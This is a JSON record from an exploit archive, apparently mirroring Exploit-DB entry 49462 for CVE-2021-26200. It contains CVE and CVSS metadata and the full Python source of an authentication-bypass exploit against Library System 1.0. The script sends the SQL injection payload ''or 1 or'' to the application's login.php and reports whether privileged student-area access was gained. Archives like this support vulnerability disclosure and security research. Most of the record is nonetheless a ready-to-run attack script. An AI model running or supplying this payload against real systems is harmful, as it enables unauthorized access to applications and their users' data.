{"exploit":{"id":"EDB-49462","name":"Library System 1.0 - 'student' SQL Injection (SQLi) / Authentication Bypass","description":"Library System 1.0 - 'student' SQL Injection (SQLi) / Authentication Bypass","cves":["CVE-2021-26200"],"author":"Himanshu Shukla","published":"2021-01-22","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/49462","path":"exploits/php/webapps/49462.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-49462.py","vulnerabilities":[{"id":"CVE-2021-26200","state":"PUBLISHED","title":null,"titleSource":null,"description":"The user area for Library System 1.0 is vulnerable to SQL injection where a user can bypass the authentication and login as the admin user.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-26200","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-26200"},"updatedAt":"2024-08-03T20:19:20.384Z","retrievedAt":"2026-11-27T02:45:47.042Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-49462.png?v=2","url":"https://exploitbin.com/exploits/EDB-49462","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-49462/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-49462/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Library System 1.0 - Authentication Bypass Via SQL Injection\n# Exploit Author: Himanshu Shukla\n# Date: 2021-01-21\n# Vendor Homepage: https://www.sourcecodester.com/php/12275/library-system-using-php.html\n# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/libsystem.zip\n# Version: 1.0\n# Tested On: Windows 10 + XAMPP 7.4.4\n# Description: Library System 1.0 - Authentication Bypass Via SQL Injection\n#STEP 1 : Run The Exploit With This Command : python3 exploit.py\n#STEP 2 : Input the URL of Vulnable Application.  For Example: http://10.9.67.23/libsystem/\n#STEP 3 : Open the Link Provided At The End After Successful authentication bypass in Browser.\n\n#Note - You Will Only Be Able To Access The Student Area as a Privileged User.\n\nimport requests\nYELLOW =  '\\033[33m' # Yellow Text\nGREEN =  '\\033[32m' # Green Text\nRED =  '\\033[31m' # Red Text\nRESET = '\\033[m' # reset to the defaults\n\nprint(YELLOW+'      _          ______  _               _  ___           ', RESET)\nprint(YELLOW+'  ___| |_ ___   / / ___|| |__   __ _  __| |/ _ \\__      __', RESET)\nprint(YELLOW+\" / _ \\ __/ __| / /|___ \\| '_ \\ / _` |/ _` | | | \\ \\ /\\ / /\", RESET)\nprint(YELLOW+'|  __/ || (__ / /  ___) | | | | (_| | (_| | |_| |\\ V  V / ', RESET)\nprint(YELLOW+' \\___|\\__\\___/_/  |____/|_| |_|\\__,_|\\__,_|\\___/  \\_/\\_/  ', RESET)\nprint(YELLOW+\" \", RESET)\nprint('********************************************************')\nprint('**                  LIBRARY SYSTEM 1.0                **')\nprint('**     AUTHENTICATION BYPASS USING SQL INJECTION      **')\nprint('********************************************************')\n\nprint('Author - Himanshu Shukla')\n\n\n#Create a new session\n\ns = requests.Session()\n\n#Set Cookie\ncookies = {'PHPSESSID': 'c9ead80b7e767a1157b97d2ed1fa25b3'}\n\nLINK=input(\"Enter URL of The Vulnarable Application : \")\n\n#Authentication Bypass\nprint(\"[*]Attempting Authentication Bypass...\")\nvalues = {\"student\":\"'or 1 or'\",\"login\":\"\"}\nr=s.post(LINK+'login.php', data=values, cookies=cookies)\n\nr=s.post(LINK+'login.php', data=values, cookies=cookies)\n\n#Check if Authentication was bypassed or not.\nlogged_in = True if not(\"Student not found\" in r.text) else False\nl=logged_in\nif l:\n\tprint(GREEN+\"[+]Authentication Bypass Successful!\", RESET)\n\tprint(YELLOW+\"[+]Open This Link To Continue As Privileged User : \"+LINK+\"index.php\", RESET)\nelse:\n\tprint(RED+\"[-]Failed To Authenticate!\", RESET)","sha256":"9e57083a72d66a1717e617ccfcabc2c408c3d47aa0b4ca04fdc4401c85e96d0c","bytes":2420,"fetchedAt":"2026-11-27T12:07:14.262Z","encoding":"utf-8 (display only; download retains original bytes)"}